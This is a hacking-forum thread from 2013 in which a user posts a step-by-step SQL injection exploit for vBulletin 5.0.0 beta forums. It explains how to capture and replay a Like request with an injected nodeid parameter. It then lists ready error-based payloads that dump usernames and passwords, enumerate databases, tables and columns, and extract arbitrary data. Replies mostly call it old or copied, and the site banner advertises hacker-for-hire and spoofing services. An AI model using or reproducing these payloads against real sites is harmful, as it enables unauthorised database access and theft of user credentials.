Spoof Call and Spoof SMS set any caller ◆ Cheap KYC Verifications & Openups ◆ Anvilpoint CyberOps - Hacker for Hire ◆ Traffic service & campaign optimization ◆
Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact
Hack Forums Hacks, Exploits, and Various Discussions Grayhat • Purple Team • Hybrid Security Website Hacking › vBulletin 5.0.0 all Beta releases SQL Injection Exploit 0day

New Reply 

vBulletin 5.0.0 all Beta releases SQL Injection Exploit 0day
allhaxors
allhaxors Offline
[user@HF:]
**
HF l33t
Posts:
209
Threads:
26
Credibility:
200
Popularity:
48
βytes:
β 154.35
Game XP:
0
Aug 23, 2013 01:58 PM
[#1] First of all, make an account to the vBulletin 5 forum,

[#2] After that, go to any topic and open Live HTTP Headers (https://addons.mozilla.org/en-us/fir...-http-headers/)

[img]http://imageshack.us/a/img12/305/89268702.png[/img]

[#3] After that click the Like button, you will receive almost the same result as me. Go to the first POST record as the picture below and click Replay button,


[img]http://imageshack.us/a/img707/9990/68621087.png[/img]


[#4] Then, on Send POST Content use this:


Code
nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,username,0x27,0x7e,password,0x27, 0x7e) FROM user LIMIT 1,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338


[img]http://imageshack.us/a/img42/1590/26447606.png[/img]


//Note that to keep the noteid value as it was as default in the POST Content. Instead you`ll get invalid noteid error.
The following SQLi command will fetch out the first record from user table(username/password).

[#Other SQLi Syntaxes]

+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|Version():
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
Code
nodeid=70) and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+



+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|User():
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
Code
nodeid=70) and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(user() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+



+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|Database():
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
Code
nodeid=70) and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+


+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|Database Print:
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
Code
nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+



+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|Table Count:
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
Code
nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0xHEXCODEOFDATABASE)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+



+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|Print Tables:
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
Code
nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xHEXCODEOFDATABASE LIMIT N,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+



+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|Columns of selected table:
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
Code
nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+------------------------------------------------------------------------------------------+
|Fetch Out Data:
+----------------------------------------------------------------------
Code
nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,column1,0x27,0x7e,column2,0x27,0x 7e) FROM ANY_TABLE LIMIT N,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338


==[ That`s it!
==[ Thanks, 0x0A!
==[ Romania

----------------------------------------------------

# LeZr [ Exploit'z - Database ] [2013-04-28]
A_Normal_Username
Guest
 
Aug 23, 2013 02:32 PM
Yes hello:

http://1337day.com/

Could you please go back to there?
Okey...
Okey... Offline
[bin@HF:]
***
HF Ub3r
Posts:
663
Threads:
7
Credibility:
000
Popularity:
14
βytes:
β 0
Game XP:
0
Aug 23, 2013 02:34 PM
This is old as fuck, saw this on another forum Months ago
BeggFoMercy
BeggFoMercy Offline
[bin@HF:]
*
Registered
Posts:
1,424
Threads:
81
Credibility:
000
Popularity:
6
βytes:
β 0
Game XP:
323
Aug 23, 2013 06:20 PM (This post was last modified: Aug 23, 2013 06:21 PM by BeggFoMercy.)
To be honest , This is the worst thread I've ever seen on this board , What is the point of copy/pasting some one else's 0day exploit , And claiming that it's yours without giving credits/writing resources of what you brought this from .
Team INTRA
MicroCoil
MicroCoil Away
Exiled@HF
***
HF l33t
Posts:
1,498
Threads:
231
Credibility:
000
Popularity:
0
βytes:
β 0
Game XP:
0
Aug 23, 2013 06:27 PM
old as fuck... seriously. dude your 1 yer behind on the times
133720
133720 Offline
[closed@HF:]
Posts:
1,844
Threads:
142
DO NOT DEAL WITH THIS MEMBER
βytes:
β 0
Game XP:
0
Aug 23, 2013 09:33 PM
Thanks for sharing.
I want to test this vulnerable.
allhaxors
allhaxors Offline
[user@HF:]
**
HF l33t
Posts:
209
Threads:
26
Credibility:
200
Popularity:
48
βytes:
β 154.35
Game XP:
0
Aug 24, 2013 02:02 AM
yeah bro old but working...
i m not say that made by me
Next Oldest | Next Newest
New Reply 


Possibly Related Threads...
Thread / Author Replies Views Last Post
by 0dayexploitNov 17, 2025 05:51 PM 7 333 Nov 17, 2025 05:51 PM
Last Post: knxtxx97
by 456hd56ytFeb 17, 2025 04:34 PM 0 266 Feb 17, 2025 04:34 PM
Last Post: 456hd56yt
by night4peJun 7, 2024 03:59 AM 8 559 Jun 7, 2024 03:59 AM
Last Post: m3m0o